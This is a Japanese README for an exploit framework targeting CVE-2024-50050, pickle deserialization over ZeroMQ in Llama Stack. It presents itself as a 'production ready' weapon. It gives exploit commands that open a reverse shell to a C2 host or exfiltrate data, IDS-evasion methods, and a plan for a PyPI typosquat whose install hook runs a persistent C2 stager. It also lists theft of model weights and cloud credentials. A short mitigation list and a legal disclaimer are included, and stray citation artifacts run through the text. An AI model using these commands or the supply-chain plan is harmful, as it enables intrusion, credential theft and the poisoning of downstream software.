
LlamaStack-RCE: 決定論的サプライチェーン悪用・堅牢化フレームワーク [CVE-2024-50050] AIセキュリティ研究に焦点を当てる AI-SupplyChain-Poisoning: 高度なPVMオペコード操作・ZeroMQインジェクションラボ
= doi.org/10.5281/zenodo.18278567
= orcid.org/0009-0007-7728-256X
LlamaStack-RCE は、Meta Llama Stack における重大なリモートコード実行(RCE)脆弱性 CVE-2024-50050 を標的とした、高忠実度のシミュレーションおよびエクスプロイトフレームワークです。この脆弱性は、ZeroMQ(0MQ)トランスポート層を介した pickle モジュールの使用に起因する、Python ベース推論 API 内の安全でない逆直列化に端を発します。
このリポジトリは、上流のサプライチェーン汚染から、下流での実行、モデル重みの外部持ち出しに至る完全な攻撃チェーンを提供します。
このエクスプロイトの核心は、**Pickle 仮想マシン(PVM)**を標的とします。GLOBAL オペコードを利用することで、unpickling プロセス中に PVM へ任意の利用可能な Python モジュールをインポートさせ、任意の関数を実行させることができます。
攻撃ベクトル: ZeroMQ Socket -> Raw Byte Stream -> pickle.loads() -> RCE。
従来のシグネチャベース IDS(Snort/Suricata)を回避するため、このフレームワークはポリモーフィックエンコーディングを実装しています:
Base64 ネスト実行: シェルコマンドを Base64 内にカプセル化し、/bin/bash や os.system などのリテラル文字列を隠します。
オペコード難読化: 実行ロジックを変更せずにバイナリシグネチャを変えるため、PVM 命令を並べ替えます。
パケットスムグラリング: pickle ペイロードを複数の ZeroMQ フレームに断片化し、ボリュームベースの異常検知を回避します。
このフレームワークは、包括的なサプライチェーン兵器化をシミュレートします:
ハードウェア: NVIDIA A100/H100 x4(重みのローカルテスト用)。
OS: 堅牢化された Arch Linux または Kali Linux。
環境: Docker & Docker-Compose(隔離ネットワーク)。
.
[cite_start]├── lab_validator.py # 7-stage automated validation suite [cite: 206, 264]
[cite_start]├── exploit_cve_2024_50050.py # Main exploitation framework [cite: 138, 206]
[cite_start]├── server.py # Vulnerable Llama Stack simulation [cite: 112, 150]
[cite_start]├── setup.py # Weaponized supply chain installer [cite: 110, 206]
[cite_start]├── post_exploit.py # Data harvesting & lateral movement [cite: 210, 264]
[cite_start]└── evasion_library.py # 12+ advanced evasion methods [cite: 264]
[cite_start]python lab_validator.py # Target: 100% Pass Rate [cite: 208, 209]
nc -lvnp 4444
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode shell --shell-type python [cite: 145, 148]
[cite_start]python exploit_cve_2024_50050.py --target 172.20.0.10 --c2 172.20.0.20 --mode exfil [cite: 146, 148]
エクスプロイトが成功すると、AI インフラストラクチャを完全に制御できます:
知的財産の窃取: .safetensors モデル重みの窃取(評価額 1,000万〜1億ドル以上)。
GPU ハイジャック: 暗号通貨マイニング(Cryptojacking)やシャドートレーニングのための不正な CUDA リソース割り当て。
推論操作: モデルの応答を汚染し、下流アプリケーション(医療 AI / 法務 AI)に系統的な障害を引き起こす。
資格情報の収集: /proc/self/environ からの AWS/GCP キーおよび K8s 設定の抽出。
CVE-2024-50050 を緩和するには、以下の絶対的ルールを適用する必要があります:
Pickle の排除: すべての pickle.loads() を safetensors.torch.load_file() または厳密なスキーマを持つ msgpack に置き換える。
ZMQ の堅牢化: 公開鍵/秘密鍵ペアによる ZMQ_CURVE を実装し、0.0.0.0 には決してバインドしない。
インフラストラクチャの分離: gVisor または Kata Containers で AI プロセスを実行し、RCE によるコンテナエスケープを防ぐ。
ネットワークのマイクロセグメンテーション: 厳密に定義したイングレス/エグレスルールを使用して、推論サーバーを公開インターネットから隔離する。
法的通知: 事前の書面による許可なしにこのフレームワークを使用してターゲットを攻撃することは違法です。これは教育目的および許可を得たペネトレーションテストの目的でのみ提供されます。著者(Sastra_Adi_Wiguna)は悪用に対する一切の責任を負いません。
機密文書: PURPLE_ELITE_TEAMING_DEEP_REVERSE_ENGINEERING 2026 決定的ステータス: プロダクションレディ (98/100)
| フェーズ | 戦略 | 技術的実装 |
|---|
| I: 上流 | タイポスクワッティング | setup.py 内の悪意のある PostInstallCommand を使用して metalama-stack を PyPI に登録します。 |
| II: 配布 | 汚染されたフォーク | connection.py に「隠し Pickle インタープリタ」を含む、GitHub 上の高性能 Llama Stack フォーク。 |
| III: 実行 | CI/CD トリガー | 対象の Jenkins/GitHub Actions 環境での pip install 中に自動実行。 |
| IV: 永続化 | ロジックボム | 長期的な C2 アクセスとモデル窃取のための多段階バックグラウンドステージャー。 |